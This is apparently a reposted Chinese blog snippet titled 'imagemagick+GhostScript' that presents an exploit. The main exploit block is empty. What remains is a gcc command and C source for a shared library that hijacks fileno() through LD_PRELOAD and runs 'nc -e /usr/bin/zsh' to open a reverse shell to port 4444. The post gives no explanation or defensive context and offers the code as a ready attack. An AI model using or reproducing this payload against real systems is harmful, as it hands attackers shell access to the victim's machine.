# imagemagick+GhostScript
> 原文:[https://www.zhihuifly.com/t/topic/3465](https://www.zhihuifly.com/t/topic/3465)
## **imagemagick+GhostScript**
**exp**
“`
“`
其中 imag.c文件需要编译,命令如下
“`
gcc -shared -fPIC imag.c -o imag.so
“`
> imag.c代码
“`
#include
#include
void payload() {
const char* cmd = “nc -e /usr/bin/zsh 127.0.0.1 4444”;
system(cmd);
}
int fileno() {
if (getenv(“LD_PRELOAD”) == NULL) { return 0; }
unsetenv(“LD_PRELOAD”);
payload();
}
“`
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END













请登录后查看评论内容